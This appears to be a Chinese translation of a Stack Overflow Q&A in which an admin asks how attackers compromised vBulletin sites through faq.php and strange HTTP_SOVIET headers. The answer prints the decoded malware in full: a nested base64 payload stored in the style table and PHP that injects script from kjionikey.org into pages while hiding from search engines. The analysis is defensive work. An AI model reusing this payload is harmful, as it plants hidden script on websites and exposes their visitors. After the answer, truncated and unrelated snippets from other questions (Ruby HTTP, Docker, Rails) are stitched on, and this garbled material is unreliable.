我发现我管理的几个 vBulletin 网站最近遭到黑客攻击。他们使用最新版本的 3.8 系列(3.8.7 补丁级别 2)。我通常很擅长找到它们进入的漏洞并修补它们,但这一个难倒了我。他们正在将数据注入(inject) MySQL 表。攻击总是在他们向 faq.php 脚本发出 GET 请求时发生。我能够在攻击发生时保存数据。这是 $_REQUEST、$_GET、$_POST、$_COOKIE 和 $_SERVER 数组。我看到的唯一不合适的地方是有两个新的 $_SERVER 键,HTTP_SOVIET 和 HTTP_PACK:
我不得不假设这是问题的根源,但我终究无法弄清楚攻击者如何设置这个变量。请求字符串里什么都没有,cookie数组里什么也没有,是GET请求,不是POST。
有什么想法吗?
最佳答案
像 $_SERVER['HTTP_*'] 这样的变量可以通过向 HTTP 请求添加 header 来设置。
一个简单的命令行示例是:
PHP 页面:
print_r($_SERVER);
然后在命令行上:
curl --header "SOVIET: 123" localhost
您会看到 $_SERVER['HTTP_SOVIET'] 等于 123。
在这种情况下,HTTP_SOVIET 的内容是 base64 编码的(放弃,它以 == 结尾)。
未编码,它变成:
function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyIuIlxceDY1Ii4iXFx4MzYiLiJcXHgzNCIuIlxceDVmIi4iXFx4NjQiLiJcXHg2NSIuIlxceDYzIi4iXFx4NmYiLiJcXHg2NCIuIlxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCIuIlxceDcyIi4iXFx4NjUiLiJcXHg2NyIuIlxceDVmIi4iXFx4NzIiLiJcXHg2NSIuIlxceDcwIi4iXFx4NmMiLiJcXHg2MSIuIlxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlVaNVMwTnJaMlYzTUV0YU1uaDJXVzFHYzBsRFVuQmpSamswVDNjd1MwcEhXbkJpUjFabVdrTkJPVWxEWTNaa1J6RjNURE5DYjJOR2JGTlpNRTVEWWxWS2VVcDZjMDVEYVZKd1kwWTVjMGxFTUdkTFNFNHdZMjFzZFZwNWJIQmpSRXB6WWpJMWJrdERVbkJqUmprMFMxUnpUa050YkcxTFIxcHdZa2RXWmxwWWFIQmpNMUo2UzBOU2JXRlhlR3hZTWxGd1NVZEdkVnBEUWtGaFdFNW1aRE5LY0dSSFJtbGlSMVZ2U2tkYWNHSkhWbVphUTJ0bldWYzFhMGxEWjI5S1NFNXdaVzFXWmxwcFFUbEpSVUp0WVZkNGJHTXliRFphVTJkcldtMXNjMXBXT1d0TFUydG5VR2xCZDB0VGEyZGxkekJMU1VOU2ExbFlVbWhKUkRCbldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2tkYWNHSkhWbVphUTJzM1JGRnZaMkZYV1c5S1NFNXdaVzFXWmxwcFFTdEpSRVYzVFVSQmQwMUVRWEJKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMUp0WVZkNGJGZ3lVWE5pV0ZKbVkyMUdkVnBEWjNoTlJFRnpUMVJyTlV0VE5HNU1RMk53VDNjd1MwbERRbkJhYVdkb1l6TlNlV0ZZVGpCamFXZHJXa2RHTUZsVGQydGhXRUptWWtOcmNFbEljMDVEYVVGblNVZGFjR0pIVm1aalNGWXdXREpPZG1KdVVteGlibEo2UzBOU2JXRlhlR3hZTWxGelNXbFNjR05HT1hOTVEwbHpVbXRzVFZKV09VSlZSa0pHVkd0UmNFOTNNRXRKUTBJNVNVZFdjMk15VldkamJWWXdaRmhLZFVsSVVubGtWMVUzUkZGdloyWlJNRXRtVVRCTFdtNVdkVmt6VW5CaU1qUm5VekpXU1ZOSFVuQlhSWGR2U2tkc2RVdFRRamRFVVhCdVlrYzVhVmxYZDJkS1NGcHBaRmQ0YzFwWVVuQmlhWGRyWVZoQ1ptVkVjMDVEYVZKcllqSXhhR0ZYTkdkUVUwRnVZVEp3Y0dJeU5YQmhNbFkxVEcwNWVWcDVZemRFVVc5cldtMXNkVnBHT1hSYVUwRTVTVU5rTWxsdVZuTmlSMVl3WVZjMVptSlhWblZrVXpWeFkzbzVNbEJVVFRST2VVa3JVRU01ZWxrelNuQmpTRkVyU25welRrTnBVbnBhVjAxblVGTkJibFV5TlVOYVIyaFRVVlp3VTFsclpEQmpiRGh1VDNjd1MwcEhkR3hsVTBFNVNVaE9NVmx1VGpCamFXaDBXa1JWYjBwR09WUlNWa3BYVWxaS1lrb3dhRlZXUmtKbVZsWk9SbFZzT1VKU01GWlBWa05rWkV4cFVuQmpSamswVEdsU2VscFhUWEJNUkVGelRWUlpjRTkzTUV0S1NGWjVZa05CT1VsSE1UQllNMHBvWW0xUmIwMVVRWGRNUkdzMVQxUnJOVTlUYTNWS2VUVnhZM280ZVU1VVFURk9hbWR0U25rMGEyRXlWalZQZHpCTFkyMVdNR1JZU25WSlEyZHJZak5XTUVsRU1HZGpNMUo1V0ROS2JHTkhlR2haTWxWdlNrZGFjR0p0VW1aaVYxVnpTa2RhY0dKdFVtWmlWMVYxU1d4NGVWaEhORGhqTWs1NVlWaENNRWxJVWpWalIxVTVXRU5LTUZwWWFEQk1NbkJvWkcxR2Vsa3pTbkJqU0ZKalNXbENlbU50VFRsWVEwcHZaRWhTZDA5cE9IWktSMUoyWWxkR2NHSnBPR3RrV0VweldFTkpLMUJET1hwWk0wcHdZMGhSSzBscGQydGhWelJ3UzFOQkwwbERVblprV0ZGblQybEJhMkZYTkRkRVVYQTVSRkZ3YldSWE5XcGtSMngyWW1sQ1IyVnJkREZWUjFwd1VWVmpiMHRUUWpkRVVXOXJZVmhCWjFCVFFXNUtlbk5PUTIxc2JVdERSbXhpV0VJd1pWTm5hMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxaV0RCYVVGVnNaRUpWYTFKR1VrWTVSMVF4U1c1WVUydHdTVWh6VGtOcFFXdFpXRXA1U1VRd1oxcFlhSGRpUnpscldsTm5ia3hEWTNOS1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psZEdPVWRVTVVwWVVWWktSVkpWVW1aU2F6bFRTakV3Y0U5M01FdEpRMEp3V21sb2QyTnRWbTVZTWpGb1pFZE9iMHREWTNaWWJIaHJaWHBGYzAwek1XTk1iSGhyWlhwRmMwMHpNV05NYkhoclpYcEZjMDB6TVdOTWJIaHJaWHBGYzAwek1HdE1lV056U2tkR2VXTnNjMjVOUTJSa1MxTnJaMlYzTUV0SlEwRm5Ta2RzZDBsRU1HZEtSMFo1WTJ4emJrMURaR1JQZHpCTFNVTkNPVVJSY0RsRVVYQjVXbGhTTVdOdE5HZExRMFpzWWxoQ01HVlRaMnRoV0VGd1MxTkJMMGxEVW5CalEwRTJTVU5TWmxVd1ZsTldhMVpUVjNsa1UxSlZNVkJXUlZabVVWVlNSVlZwWkdSUGR6QkxabEV3UzFwdVZuVlpNMUp3WWpJMFoxRllRbVpoUm5CRldIbG5jRWxJYzA1RGJXeHRTMGhDZVZwWFpHWmlWMFl3V1RKbmIwcDVUbTVpTWpsdVlrZFdPR0pZVG5WbVIzaHdaRzFXT0ZsWGVEQlpXRnB3WXpOU2FHWkhSbnBoTTNnMVdWZG9kbUl6ZUdoaU1uZzRXVzFzZFZvemVHeGxSMFp6V2xkR2EyWkhWalJaTW13d1dsaDRjMlZYVG5aak0zaDBaVmhPZDFsWFRteG1SMFp6V2xob2FHWkhVblprVjBweldsZE9jMkZYVG5KSk1tdHVURU5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZZTVVwR1VtdFdVMUpXU1c1WVUydHdTVWh6VGtOcFFuQmFhV2gzWTIxV2JsZ3lNV2hrUjA1dlMwTmphbUpZVG5CYVdIaHRZVmhLYkZwdE9UUm1SemwzV2xoS2FHWkhUbTlqYlRsMFdsTk9jRXA1ZDJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVZsVXdWbE5ZTUVaSVVsVTFWVW94TUhCTFUwSjVXbGhTTVdOdE5HZGtTRW94V2xSelRrTnBRamxFVVhBNVJGRndiV1JYTldwa1IyeDJZbWxDZGxSV2JGcFVNa1o1UzBOcloyVjNNRXRhTW5oMldXMUdjMGxEVW5CalJqazBUM2N3UzBwSGJIZFlNMmRuVUZOQ1IyVnJkREZWUjFwd1VWVmpiMHRVYzA1RGFWSm9TVVF3WjFsWVNubFpXR3R2U25wSmVFNXBOSGxOZW10MVNubDNiazFxUVRWTWFtY3hUR2xqYzBwNlJUTk5lVFI1VGxSVmRVcDVkMjVOVkdONlRHcEZOVTVETkc1TVEyTTBUMU0wZVUxRVkzVktlWGR1VG5wUmRVMVVTVEZNYVdOelNucGplVXhxUlRCTWFXTnpTbnBaTWt4cVNUQlBVelJ1VEVOak1rNXBOSGhOUkVsMVNubDNiazVxVVhWTmFrMTZUR2xqY0U5M01FdGFiVGw1V2xkR2FtRkRaMnRaVTBKb1kzbEJhMWxwYTJkbGR6QkxTVWRzYlV0SVFubGFWMlJtWWxkR01Ga3laMjlKYVRsbFNrZEpkbUZUU1hOS1IyeDNXRE5uY0V0VFFubGFXRkl4WTIwMFoyUklTakZhVkhOT1EybENPVVJSY0RsRVVYQndXbWxuYUZwWE1YZGtTR3R2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVmExWkhVbFpLUmxWcFpHUkxVMnRuWlhjd1MwbEhiRzFMUlVaM1dESm9ZVkpHT0c5TFUwSm9ZbTFSWjBsWE9VNVhWbXhRV1ZoSmIwdFRRbWhpYlZGblNWVm9hMlJGU25CU01WSkNZMmxuY0V0VFFqZEVVVzluU2tjMWJHUXpVbXhsU0ZGblVGTkNURnBWYUVsYVIyeFpWRU5uYTJKdFZqTmtSMVkwWkVOck4wUlJiMmRtVVRCTFpsRXdTMk50VmpCa1dFcDFTVU5TZFZwWVpEQmFXR2d3VDNjOVBTY3BLVHM9IiksIi4iKTpudWxsOw==');
$style = $GLOBALS['style'];
if(!empty($style['styleid'])) {
$a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
if($a['styleid']!='' and $a['replacements']=='') {
$db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
echo 'ok';
} else echo 'error';
}
exit;
}
@iai();
值得注意的是那里的查询:
'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''
检查您的样式表,因为这是向用户公开代码的一种方式。
将您的样式表重命名为其他名称可能会暂时减轻这种攻击的影响。
在那里,base64 位有更多的 bas64,其中有更多的 bas64,最终求值:
function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpYRcCBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) {
$data = file_get_contents($file_d);
if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
if(!stristr($data,$ip_l)) {
file_put_contents($file_d,"$ip_l,",FILE_APPEND);
} else return true;
}
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
$ip = $arr['0'];
}
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
}
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
if(preg_match("/^$b/i",$ip_x)) return true;
}
}
if(!empty($_SERVER['HTTP_REFERER'])) {
if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
$newtext = KeHHdiXL($newtext);
}
}
return $newtext;
这会写入一个名为 /tmp/phpYRcCBmBr 的文件,因此我会检查其中的内容。
它还对搜索引擎隐藏了它的行为,这很好。
可能对用户不利的一点是:
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
这会将一些 JS 放在由 kjionikey.org 托管的页面上。该 JS 需要基于 IP 地址的 key 。
我会检查任何读取/执行随机 $_SERVER 变量内容的代码,但我不知道为什么会在那里。
关于php - HTTP-SOVIET 和 HTTP-PACK?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/12839626/
是的,我知道最好使用webmock,但我想知道如何在RSpec中模拟此方法:defmethod_to_testurl=URI.parseurireq=Net::HTTP::Post.newurl.pathres=Net::HTTP.start(url.host,url.port)do|http|http.requestreq,foo:1endresend这是RSpec:let(:uri){'http://example.com'}specify'HTTPcall'dohttp=mock:httpNet::HTTP.stub!(:start).and_yieldhttphttp.shou
我目前正在使用以下方法获取页面的源代码:Net::HTTP.get(URI.parse(page.url))我还想获取HTTP状态,而无需发出第二个请求。有没有办法用另一种方法做到这一点?我一直在查看文档,但似乎找不到我要找的东西。 最佳答案 在我看来,除非您需要一些真正的低级访问或控制,否则最好使用Ruby的内置Open::URI模块:require'open-uri'io=open('http://www.example.org/')#=>#body=io.read[0,50]#=>"["200","OK"]io.base_ur
1.错误信息:Errorresponsefromdaemon:Gethttps://registry-1.docker.io/v2/:net/http:requestcanceledwhilewaitingforconnection(Client.Timeoutexceededwhileawaitingheaders)或者:Errorresponsefromdaemon:Gethttps://registry-1.docker.io/v2/:net/http:TLShandshaketimeout2.报错原因:docker使用的镜像网址默认为国外,下载容易超时,需要修改成国内镜像地址(首先阿里
Rails中有没有一种方法可以提取与路由关联的HTTP动词?例如,给定这样的路线:将“users”匹配到:“users#show”,通过:[:get,:post]我能实现这样的目标吗?users_path.respond_to?(:get)(显然#respond_to不是正确的方法)我最接近的是通过执行以下操作,但它似乎并不令人满意。Rails.application.routes.routes.named_routes["users"].constraints[:request_method]#=>/^GET$/对于上下文,我有一个设置cookie然后执行redirect_to:ba
我正在使用Heroku(heroku.com)来部署我的Rails应用程序,并且正在构建一个iPhone客户端来与之交互。我的目的是将手机的唯一设备标识符作为HTTPheader传递给应用程序以进行身份验证。当我在本地测试时,我的header通过得很好,但在Heroku上它似乎去掉了我的自定义header。我用ruby脚本验证:url=URI.parse('http://#{myapp}.heroku.com/')#url=URI.parse('http://localhost:3000/')req=Net::HTTP::Post.new(url.path)#boguspara
我试图在我的网站上实现使用Facebook登录功能,但在尝试从Facebook取回访问token时遇到障碍。这是我的代码:ifparams[:error_reason]=="user_denied"thenflash[:error]="TologinwithFacebook,youmustclick'Allow'toletthesiteaccessyourinformation"redirect_to:loginelsifparams[:code]thentoken_uri=URI.parse("https://graph.facebook.com/oauth/access_token
我是Ruby的新手。我试过查看在线文档,但没有找到任何有效的方法。我想在以下HTTP请求botget_response()和get()中包含一个用户代理。有人可以指出我正确的方向吗?#PreliminarycheckthatProggitisupcheck=Net::HTTP.get_response(URI.parse(proggit_url))ifcheck.code!="200"puts"ErrorcontactingProggit"returnend#Attempttogetthejsonresponse=Net::HTTP.get(URI.parse(proggit_url)
我正在尝试解析网页,但有时会收到404错误。这是我用来获取网页的代码:result=Net::HTTP::getURI.parse(URI.escape(url))如何测试result是否为404错误代码? 最佳答案 像这样重写你的代码:uri=URI.parse(url)result=Net::HTTP.start(uri.host,uri.port){|http|http.get(uri.path)}putsresult.codeputsresult.body这将打印状态码和正文。
我正在安装gitlabhq,并且在Gemfile中有对某些资源的“git://...”的引用。但是,我在公司防火墙后面,所以我必须使用http://。我可以手动编辑Gemfile,但我想知道是否有另一种方法告诉bundler使用http://作为git存储库? 最佳答案 您可以通过运行gitconfig--globalurl."https://".insteadOfgit://或通过将以下内容添加到~/.gitconfig:[url"https://"]insteadOf=git://
我希望访问我机器上的所有HTTP流量(我的Windows机器-不是服务器)。据我了解,拥有一个本地代理是所有流量路线的必经之路。我一直在谷歌搜索但未能找到任何资源(关于Ruby)来帮助我。非常感谢任何提示或链接。 最佳答案 WEBrick中有一个HTTP代理(Rubystdlib的一部分)和here's一个实现示例。如果你喜欢生活在边缘,还有em-proxy伊利亚·格里戈里克。这postIlya暗示它似乎确实需要一些调整来解决您的问题。 关于ruby-如何捕获所有HTTP流量(本地代理)